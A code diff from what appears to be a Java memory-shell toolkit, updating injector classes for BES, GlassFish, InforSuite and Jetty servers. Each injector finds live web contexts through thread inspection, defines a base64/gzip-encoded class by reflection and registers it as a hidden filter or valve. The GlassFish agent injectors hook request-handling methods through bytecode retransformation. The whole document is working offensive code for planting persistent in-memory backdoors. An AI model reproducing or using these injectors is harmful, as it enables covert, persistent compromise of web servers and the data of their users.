for (Object context : contexts) {
|
||||
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||
try {
|
||||
Object shell = getShell(context);
|
||||
inject(context, shell);
|
||||
msg += "[/*] ready\n";
|
||||
} catch (Throwable e) {
|
||||
msg += "failed " + getErrorMessage(e) + "\n";
|
||||
}
|
||||
}
|
||||
}
|
||||
System.out.println(msg);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getContextRoot(Object context) {
|
||||
String r = null;
|
||||
try {
|
||||
r = (String) invokeMethod(context, "getContextPath", null, null);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
String c = context.getClass().getName();
|
||||
if (r == null) {
|
||||
return c;
|
||||
}
|
||||
if (r.isEmpty()) {
|
||||
return c + "(/)";
|
||||
}
|
||||
return c + "(" + r + ")";
|
||||
}
|
||||
|
||||
public List<Object> getContext() throws Exception {
|
||||
List<Object> contexts = new ArrayList<Object>();
|
||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||
@@ -49,53 +79,42 @@ public class BesValveInjector {
|
||||
return contexts;
|
||||
}
|
||||
|
||||
private ClassLoader getWebAppClassLoader(Object context) {
|
||||
try {
|
||||
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
||||
} catch (Exception e) {
|
||||
Object loader = invokeMethod(context, "getLoader", null, null);
|
||||
return ((ClassLoader) invokeMethod(loader, "getClassLoader", null, null));
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private Object getShell(Object context) throws Exception {
|
||||
ClassLoader classLoader = getWebAppClassLoader(context);
|
||||
ClassLoader classLoader = context.getClass().getClassLoader();
|
||||
Class<?> clazz = null;
|
||||
try {
|
||||
return classLoader.loadClass(getClassName()).newInstance();
|
||||
clazz = classLoader.loadClass(getClassName());
|
||||
} catch (Exception e) {
|
||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
return clazz.newInstance();
|
||||
clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public boolean isInjected(Object pipeline) throws Exception {
|
||||
Object[] valves = (Object[]) invokeMethod(pipeline, "getValves", null, null);
|
||||
List<Object> valvesList = Arrays.asList(valves);
|
||||
for (Object valve : valvesList) {
|
||||
if (valve.getClass().getName().contains(getClassName())) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
msg += "[" + classLoader.getClass().getName() + "] ";
|
||||
return clazz.newInstance();
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public void inject(Object context, Object valve) throws Exception {
|
||||
Object pipeline = invokeMethod(context, "getPipeline", null, null);
|
||||
if (isInjected(pipeline)) {
|
||||
System.out.println("valve already injected");
|
||||
return;
|
||||
Object[] valves = (Object[]) invokeMethod(pipeline, "getValves", null, null);
|
||||
List<Object> valvesList = Arrays.asList(valves);
|
||||
for (Object v : valvesList) {
|
||||
if (v.getClass().getName().contains(getClassName())) {
|
||||
return;
|
||||
}
|
||||
}
|
||||
Class valveClass = context.getClass().getClassLoader().loadClass("com.bes.enterprise.webtier.Valve");
|
||||
// com.bes.enterprise.webtier.core.DefaultPipeline
|
||||
invokeMethod(pipeline, "addValve", new Class[]{valveClass}, new Object[]{valve});
|
||||
}
|
||||
|
||||
@Override
|
||||
public String toString() {
|
||||
return msg;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] decodeBase64(String base64Str) throws Exception {
|
||||
Class<?> decoderClass;
|
||||
@@ -142,7 +161,7 @@ public class BesValveInjector {
|
||||
|
||||
}
|
||||
}
|
||||
throw new NoSuchFieldException(name);
|
||||
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
@@ -170,4 +189,19 @@ public class BesValveInjector {
|
||||
throw new RuntimeException("Error invoking method: " + methodName, e);
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getErrorMessage(Throwable throwable) {
|
||||
PrintStream printStream = null;
|
||||
try {
|
||||
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||
printStream = new PrintStream(outputStream);
|
||||
throwable.printStackTrace(printStream);
|
||||
return outputStream.toString();
|
||||
} finally {
|
||||
if (printStream != null) {
|
||||
printStream.close();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
+3
-7
@@ -40,7 +40,6 @@ public class GlassFishContextValveAgentInjector extends ClassLoader implements C
|
||||
String name = allLoadedClass.getName();
|
||||
if (TARGET_CLASS.replace("/", ".").equals(name)) {
|
||||
inst.retransformClasses(allLoadedClass);
|
||||
System.out.println("MemShell Agent is working at org.apache.catalina.core.StandardContextValve.invoke");
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -61,6 +60,7 @@ public class GlassFishContextValveAgentInjector extends ClassLoader implements C
|
||||
};
|
||||
ClassVisitor cv = getClassVisitor(cw);
|
||||
cr.accept(cv, ClassReader.EXPAND_FRAMES);
|
||||
System.out.println("MemShell Agent is working at " + TARGET_CLASS.replace("/", ".") + "." + TARGET_METHOD_NAME);
|
||||
return cw.toByteArray();
|
||||
} catch (Throwable e) {
|
||||
e.printStackTrace();
|
||||
@@ -77,12 +77,8 @@ public class GlassFishContextValveAgentInjector extends ClassLoader implements C
|
||||
String signature, String[] exceptions) {
|
||||
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
|
||||
if (TARGET_METHOD_NAME.equals(name) && descriptor.endsWith(")V")) {
|
||||
try {
|
||||
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
|
||||
return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
|
||||
} catch (Throwable e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
|
||||
return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
|
||||
}
|
||||
return mv;
|
||||
}
|
||||
|
||||
+3
-7
@@ -40,7 +40,6 @@ public class GlassFishFilterChainAgentInjector implements ClassFileTransformer {
|
||||
String name = allLoadedClass.getName();
|
||||
if (TARGET_CLASS.replace("/", ".").equals(name)) {
|
||||
inst.retransformClasses(allLoadedClass);
|
||||
System.out.println("MemShell Agent is working at org.apache.catalina.core.ApplicationFilterChain.doFilter");
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -61,6 +60,7 @@ public class GlassFishFilterChainAgentInjector implements ClassFileTransformer {
|
||||
};
|
||||
ClassVisitor cv = getClassVisitor(cw);
|
||||
cr.accept(cv, ClassReader.EXPAND_FRAMES);
|
||||
System.out.println("MemShell Agent is working at " + TARGET_CLASS.replace("/", ".") + "." + TARGET_METHOD_NAME);
|
||||
return cw.toByteArray();
|
||||
} catch (Throwable e) {
|
||||
e.printStackTrace();
|
||||
@@ -77,12 +77,8 @@ public class GlassFishFilterChainAgentInjector implements ClassFileTransformer {
|
||||
String signature, String[] exceptions) {
|
||||
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
|
||||
if (TARGET_METHOD_NAME.equals(name)) {
|
||||
try {
|
||||
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
|
||||
return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
|
||||
} catch (Throwable e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
|
||||
return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
|
||||
}
|
||||
return mv;
|
||||
}
|
||||
|
||||
+61
-18
@@ -3,6 +3,7 @@ package com.reajason.javaweb.memshell.injector.glassfish;
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.io.PrintStream;
|
||||
import java.lang.reflect.Constructor;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
@@ -13,15 +14,12 @@ import java.util.Set;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
/**
|
||||
* Date: 2022/11/01
|
||||
* Author: pen4uin
|
||||
* Description: Tomcat Filter 注入器 Tested version: jdk v1.8.0_275
|
||||
* tomcat v5.5.36, v6.0.9, v7.0.32, v8.5.83, v9.0.67
|
||||
*
|
||||
* @author ReaJason
|
||||
* @author pen4uin, ReaJason
|
||||
*/
|
||||
public class GlassFishFilterInjector {
|
||||
|
||||
private String msg = "";
|
||||
|
||||
public String getUrlPattern() {
|
||||
return "{{urlPattern}}";
|
||||
}
|
||||
@@ -35,18 +33,42 @@ public class GlassFishFilterInjector {
|
||||
}
|
||||
|
||||
public GlassFishFilterInjector() {
|
||||
List<Object> contexts = null;
|
||||
try {
|
||||
List<Object> contexts = getContext();
|
||||
contexts = getContext();
|
||||
} catch (Throwable throwable) {
|
||||
msg += "context error: " + getErrorMessage(throwable);
|
||||
}
|
||||
if (contexts != null) {
|
||||
for (Object context : contexts) {
|
||||
// skip glassfish /osgi context
|
||||
if (getFieldValue(context, "serverContext") != null) {
|
||||
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||
try {
|
||||
Object shell = getShell(context);
|
||||
inject(context, shell);
|
||||
msg += "[" + getUrlPattern() + "] ready\n";
|
||||
} catch (Throwable e) {
|
||||
msg += "failed " + getErrorMessage(e) + "\n";
|
||||
}
|
||||
}
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
System.out.println(msg);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getContextRoot(Object context) {
|
||||
String r = null;
|
||||
try {
|
||||
r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
String c = context.getClass().getName();
|
||||
if (r == null) {
|
||||
return c;
|
||||
}
|
||||
if (r.isEmpty()) {
|
||||
return c + "(/)";
|
||||
}
|
||||
return c + "(" + r + ")";
|
||||
}
|
||||
|
||||
/**
|
||||
@@ -79,22 +101,23 @@ public class GlassFishFilterInjector {
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private Object getShell(Object context) throws Exception {
|
||||
ClassLoader webAppClassLoader = getWebAppClassLoader(context);
|
||||
ClassLoader classLoader = getWebAppClassLoader(context);
|
||||
Class<?> clazz = null;
|
||||
try {
|
||||
return webAppClassLoader.loadClass(getClassName()).newInstance();
|
||||
clazz = classLoader.loadClass(getClassName());
|
||||
} catch (Exception e) {
|
||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
Class<?> clazz = (Class<?>) defineClass.invoke(webAppClassLoader, clazzByte, 0, clazzByte.length);
|
||||
return clazz.newInstance();
|
||||
clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
}
|
||||
msg += "[" + classLoader.getClass().getName() + "] ";
|
||||
return clazz.newInstance();
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public void inject(Object context, Object shell) throws Exception {
|
||||
if (invokeMethod(context, "findFilterDef", new Class[]{String.class}, new Object[]{getClassName()}) != null) {
|
||||
System.out.println("filter already injected");
|
||||
return;
|
||||
}
|
||||
Object filterDef;
|
||||
@@ -138,7 +161,11 @@ public class GlassFishFilterInjector {
|
||||
Object filterConfig = filterConfigConstructor.newInstance(context, filterDef);
|
||||
Map filterConfigs = (Map) getFieldValue(context, "filterConfigs");
|
||||
filterConfigs.put(getClassName(), filterConfig);
|
||||
System.out.println("filter inject success");
|
||||
}
|
||||
|
||||
@Override
|
||||
public String toString() {
|
||||
return msg;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
@@ -208,6 +235,22 @@ public class GlassFishFilterInjector {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
throw new NoSuchFieldException();
|
||||
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||
}
|
||||
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getErrorMessage(Throwable throwable) {
|
||||
PrintStream printStream = null;
|
||||
try {
|
||||
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||
printStream = new PrintStream(outputStream);
|
||||
throwable.printStackTrace(printStream);
|
||||
return outputStream.toString();
|
||||
} finally {
|
||||
if (printStream != null) {
|
||||
printStream.close();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
+74
-30
@@ -3,6 +3,7 @@ package com.reajason.javaweb.memshell.injector.glassfish;
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.io.PrintStream;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.*;
|
||||
@@ -13,17 +14,7 @@ import java.util.zip.GZIPInputStream;
|
||||
*/
|
||||
public class GlassFishValveInjector {
|
||||
|
||||
public GlassFishValveInjector() {
|
||||
try {
|
||||
List<Object> contexts = getContext();
|
||||
for (Object context : contexts) {
|
||||
Object valve = getShell(context);
|
||||
inject(context, valve);
|
||||
}
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
private String msg = "";
|
||||
|
||||
public String getClassName() {
|
||||
return "{{className}}";
|
||||
@@ -33,6 +24,46 @@ public class GlassFishValveInjector {
|
||||
return "{{base64Str}}";
|
||||
}
|
||||
|
||||
|
||||
public GlassFishValveInjector() {
|
||||
List<Object> contexts = null;
|
||||
try {
|
||||
contexts = getContext();
|
||||
} catch (Throwable throwable) {
|
||||
msg += "context error: " + getErrorMessage(throwable);
|
||||
}
|
||||
if (contexts != null) {
|
||||
for (Object context : contexts) {
|
||||
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||
try {
|
||||
Object shell = getShell(context);
|
||||
inject(context, shell);
|
||||
msg += "[/*] ready\n";
|
||||
} catch (Throwable e) {
|
||||
msg += "failed " + getErrorMessage(e) + "\n";
|
||||
}
|
||||
}
|
||||
}
|
||||
System.out.println(msg);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getContextRoot(Object context) {
|
||||
String r = null;
|
||||
try {
|
||||
r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
String c = context.getClass().getName();
|
||||
if (r == null) {
|
||||
return c;
|
||||
}
|
||||
if (r.isEmpty()) {
|
||||
return c + "(/)";
|
||||
}
|
||||
return c + "(" + r + ")";
|
||||
}
|
||||
|
||||
public List<Object> getContext() throws Exception {
|
||||
List<Object> contexts = new ArrayList<Object>();
|
||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||
@@ -49,7 +80,7 @@ public class GlassFishValveInjector {
|
||||
return contexts;
|
||||
}
|
||||
|
||||
private ClassLoader getWebAppClassLoader(Object context) {
|
||||
private ClassLoader getWebAppClassLoader(Object context) throws Exception {
|
||||
try {
|
||||
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
||||
} catch (Exception e) {
|
||||
@@ -60,40 +91,38 @@ public class GlassFishValveInjector {
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private Object getShell(Object context) throws Exception {
|
||||
// OSGI 类加载限制,加密相关函数找不到,这儿不得不使用 WebAppClassLoader
|
||||
ClassLoader classLoader = getWebAppClassLoader(context);
|
||||
Class<?> clazz = null;
|
||||
try {
|
||||
return classLoader.loadClass(getClassName()).newInstance();
|
||||
clazz = classLoader.loadClass(getClassName());
|
||||
} catch (Exception e) {
|
||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
return clazz.newInstance();
|
||||
clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
}
|
||||
msg += "[" + classLoader.getClass().getName() + "] ";
|
||||
return clazz.newInstance();
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public void inject(Object context, Object valve) throws Exception {
|
||||
Object pipeline = invokeMethod(context, "getPipeline", null, null);
|
||||
if (isInjected(pipeline)) {
|
||||
System.out.println("valve already injected");
|
||||
return;
|
||||
Object[] valves = (Object[]) invokeMethod(pipeline, "getValves", null, null);
|
||||
List<Object> valvesList = Arrays.asList(valves);
|
||||
for (Object v : valvesList) {
|
||||
if (v.getClass().getName().contains(getClassName())) {
|
||||
return;
|
||||
}
|
||||
}
|
||||
Class valveClass = context.getClass().getClassLoader().loadClass("org.apache.catalina.Valve");
|
||||
invokeMethod(pipeline, "addValve", new Class[]{valveClass}, new Object[]{valve});
|
||||
System.out.println("valve injected successfully");
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public boolean isInjected(Object pipeline) throws Exception {
|
||||
Object[] valves = (Object[]) invokeMethod(pipeline, "getValves", null, null);
|
||||
List<Object> valvesList = Arrays.asList(valves);
|
||||
for (Object valve : valvesList) {
|
||||
if (valve.getClass().getName().contains(getClassName())) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
@Override
|
||||
public String toString() {
|
||||
return msg;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
@@ -141,7 +170,7 @@ public class GlassFishValveInjector {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
throw new NoSuchFieldException();
|
||||
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
@@ -169,4 +198,19 @@ public class GlassFishValveInjector {
|
||||
throw new RuntimeException("Error invoking method: " + methodName, e);
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getErrorMessage(Throwable throwable) {
|
||||
PrintStream printStream = null;
|
||||
try {
|
||||
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||
printStream = new PrintStream(outputStream);
|
||||
throwable.printStackTrace(printStream);
|
||||
return outputStream.toString();
|
||||
} finally {
|
||||
if (printStream != null) {
|
||||
printStream.close();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
+66
-17
@@ -3,6 +3,7 @@ package com.reajason.javaweb.memshell.injector.inforsuite;
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.io.PrintStream;
|
||||
import java.lang.reflect.Constructor;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
@@ -14,19 +15,8 @@ import java.util.zip.GZIPInputStream;
|
||||
* @author ReaJason
|
||||
*/
|
||||
public class InforSuiteFilterInjector {
|
||||
Logger log = Logger.getLogger(InforSuiteFilterInjector.class.getName());
|
||||
|
||||
public InforSuiteFilterInjector() {
|
||||
try {
|
||||
List<Object> contexts = getContext();
|
||||
for (Object context : contexts) {
|
||||
Object filter = getShell(context);
|
||||
inject(context, filter);
|
||||
}
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
private String msg = "";
|
||||
|
||||
public String getUrlPattern() {
|
||||
return "{{urlPattern}}";
|
||||
@@ -40,6 +30,45 @@ public class InforSuiteFilterInjector {
|
||||
return "{{base64Str}}";
|
||||
}
|
||||
|
||||
public InforSuiteFilterInjector() {
|
||||
List<Object> contexts = null;
|
||||
try {
|
||||
contexts = getContext();
|
||||
} catch (Throwable throwable) {
|
||||
msg += "context error: " + getErrorMessage(throwable);
|
||||
}
|
||||
if (contexts != null) {
|
||||
for (Object context : contexts) {
|
||||
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||
try {
|
||||
Object shell = getShell(context);
|
||||
inject(context, shell);
|
||||
msg += "[" + getUrlPattern() + "] ready\n";
|
||||
} catch (Throwable e) {
|
||||
msg += "failed " + getErrorMessage(e) + "\n";
|
||||
}
|
||||
}
|
||||
}
|
||||
System.out.println(msg);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getContextRoot(Object context) {
|
||||
String r = null;
|
||||
try {
|
||||
r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
String c = context.getClass().getName();
|
||||
if (r == null) {
|
||||
return c;
|
||||
}
|
||||
if (r.isEmpty()) {
|
||||
return c + "(/)";
|
||||
}
|
||||
return c + "(" + r + ")";
|
||||
}
|
||||
|
||||
/**
|
||||
* com.cvicse.loong.enterprise.web.WebModule
|
||||
* /usr/local/inforsuite/as/modules/web-glue.jar
|
||||
@@ -71,22 +100,23 @@ public class InforSuiteFilterInjector {
|
||||
@SuppressWarnings("all")
|
||||
private Object getShell(Object context) throws Exception {
|
||||
ClassLoader classLoader = getWebAppClassLoader(context);
|
||||
Class<?> clazz = null;
|
||||
try {
|
||||
return classLoader.loadClass(getClassName()).newInstance();
|
||||
clazz = classLoader.loadClass(getClassName());
|
||||
} catch (Exception e) {
|
||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
return clazz.newInstance();
|
||||
clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
}
|
||||
msg += "[" + classLoader.getClass().getName() + "] ";
|
||||
return clazz.newInstance();
|
||||
}
|
||||
|
||||
@SuppressWarnings("unchecked")
|
||||
public void inject(Object context, Object filter) throws Exception {
|
||||
String filterName = getClassName();
|
||||
if (invokeMethod(context, "findFilterDef", new Class[]{String.class}, new Object[]{getClassName()}) != null) {
|
||||
log.warning("filter already exists");
|
||||
return;
|
||||
}
|
||||
ClassLoader contextClassLoader = context.getClass().getClassLoader();
|
||||
@@ -114,7 +144,11 @@ public class InforSuiteFilterInjector {
|
||||
filterConfigs = (HashMap<String, Object>) getFieldValue(context, "iasFilterConfigs");
|
||||
}
|
||||
filterConfigs.put(filterName, filterConfig);
|
||||
log.info("filter added successfully");
|
||||
}
|
||||
|
||||
@Override
|
||||
public String toString() {
|
||||
return msg;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
@@ -198,4 +232,19 @@ public class InforSuiteFilterInjector {
|
||||
throw new RuntimeException("Error invoking method: " + methodName, e);
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getErrorMessage(Throwable throwable) {
|
||||
PrintStream printStream = null;
|
||||
try {
|
||||
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||
printStream = new PrintStream(outputStream);
|
||||
throwable.printStackTrace(printStream);
|
||||
return outputStream.toString();
|
||||
} finally {
|
||||
if (printStream != null) {
|
||||
printStream.close();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
+70
-24
@@ -3,6 +3,7 @@ package com.reajason.javaweb.memshell.injector.jetty;
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.io.PrintStream;
|
||||
import java.lang.reflect.*;
|
||||
import java.util.ArrayList;
|
||||
import java.util.List;
|
||||
@@ -17,17 +18,7 @@ import java.util.zip.GZIPInputStream;
|
||||
|
||||
public class JettyFilterInjector {
|
||||
|
||||
public JettyFilterInjector() {
|
||||
try {
|
||||
List<Object> contexts = getContext();
|
||||
for (Object context : contexts) {
|
||||
Object filter = getShell(context);
|
||||
inject(context, filter);
|
||||
}
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
private String msg = "";
|
||||
|
||||
public String getUrlPattern() {
|
||||
return "{{urlPattern}}";
|
||||
@@ -41,13 +32,49 @@ public class JettyFilterInjector {
|
||||
return "{{base64Str}}";
|
||||
}
|
||||
|
||||
public JettyFilterInjector() {
|
||||
List<Object> contexts = null;
|
||||
try {
|
||||
contexts = getContext();
|
||||
} catch (Throwable throwable) {
|
||||
msg += "context error: " + getErrorMessage(throwable);
|
||||
}
|
||||
if (contexts != null) {
|
||||
for (Object context : contexts) {
|
||||
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||
try {
|
||||
Object shell = getShell(context);
|
||||
inject(context, shell);
|
||||
msg += "[" + getUrlPattern() + "] ready\n";
|
||||
} catch (Throwable e) {
|
||||
msg += "failed " + getErrorMessage(e) + "\n";
|
||||
}
|
||||
}
|
||||
}
|
||||
System.out.println(msg);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getContextRoot(Object context) {
|
||||
String r = null;
|
||||
try {
|
||||
r = (String) invokeMethod(context, "getContextPath");
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
String c = context.getClass().getName();
|
||||
if (r == null) {
|
||||
return c;
|
||||
}
|
||||
if (r.isEmpty()) {
|
||||
return c + "(/)";
|
||||
}
|
||||
return c + "(" + r + ")";
|
||||
}
|
||||
|
||||
public void inject(Object context, Object filter) throws Exception {
|
||||
Object servletHandler = getFieldValue(context, "_servletHandler");
|
||||
if (servletHandler == null) {
|
||||
return;
|
||||
}
|
||||
|
||||
if (invokeMethod(servletHandler, "getFilter", new Class[]{String.class}, new Object[]{getClassName()}) != null) {
|
||||
System.out.println("filter is already injected");
|
||||
return;
|
||||
}
|
||||
|
||||
@@ -56,6 +83,7 @@ public class JettyFilterInjector {
|
||||
"org.eclipse.jetty.ee8.servlet.FilterHolder",
|
||||
"org.eclipse.jetty.ee9.servlet.FilterHolder",
|
||||
"org.eclipse.jetty.ee10.servlet.FilterHolder",
|
||||
"org.eclipse.jetty.ee11.servlet.FilterHolder",
|
||||
"org.mortbay.jetty.servlet.FilterHolder",
|
||||
};
|
||||
|
||||
@@ -78,7 +106,6 @@ public class JettyFilterInjector {
|
||||
invokeMethod(servletHandler, "addFilterWithMapping", new Class[]{filterHolderClass, String.class, int.class}, new Object[]{filterHolder, getUrlPattern(), 1});
|
||||
moveFilterToFirst(servletHandler);
|
||||
invokeMethod(servletHandler, "invalidateChainsCache");
|
||||
System.out.println("filter added successfully");
|
||||
}
|
||||
|
||||
private void moveFilterToFirst(Object servletHandler) throws Exception {
|
||||
@@ -102,7 +129,6 @@ public class JettyFilterInjector {
|
||||
}
|
||||
} else if (filterMaps instanceof ArrayList) {
|
||||
ArrayList<Object> filterList = (ArrayList<Object>) filterMaps;
|
||||
filterLength = filterList.size();
|
||||
for (Object filter : filterList) {
|
||||
String filterName = (String) getFieldValue(filter, "_filterName");
|
||||
if (filterName.equals(getClassName())) {
|
||||
@@ -113,11 +139,14 @@ public class JettyFilterInjector {
|
||||
}
|
||||
filterList.clear();
|
||||
filterList.addAll(reorderedFilters);
|
||||
} else {
|
||||
throw new IllegalArgumentException("filterMaps must be either an array or an ArrayList");
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public String toString() {
|
||||
return msg;
|
||||
}
|
||||
|
||||
/**
|
||||
* org.mortbay.jetty.webapp.WebAppContext
|
||||
* org.eclipse.jetty.webapp.WebAppContext
|
||||
@@ -165,16 +194,18 @@ public class JettyFilterInjector {
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private Object getShell(Object context) throws Exception {
|
||||
ClassLoader webAppClassLoader = getWebAppClassLoader(context);
|
||||
ClassLoader classLoader = getWebAppClassLoader(context);
|
||||
Class<?> clazz = null;
|
||||
try {
|
||||
return webAppClassLoader.loadClass(getClassName()).newInstance();
|
||||
clazz = classLoader.loadClass(getClassName());
|
||||
} catch (Exception e) {
|
||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
Class<?> clazz = (Class<?>) defineClass.invoke(webAppClassLoader, clazzByte, 0, clazzByte.length);
|
||||
return clazz.newInstance();
|
||||
clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
}
|
||||
msg += "[" + classLoader.getClass().getName() + "] ";
|
||||
return clazz.newInstance();
|
||||
}
|
||||
|
||||
|
||||
@@ -223,7 +254,7 @@ public class JettyFilterInjector {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
throw new NoSuchFieldException();
|
||||
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||
}
|
||||
|
||||
public static Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
|
||||
@@ -257,4 +288,19 @@ public class JettyFilterInjector {
|
||||
throw new RuntimeException("Error invoking method: " + methodName, e);
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getErrorMessage(Throwable throwable) {
|
||||
PrintStream printStream = null;
|
||||
try {
|
||||
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||
printStream = new PrintStream(outputStream);
|
||||
throwable.printStackTrace(printStream);
|
||||
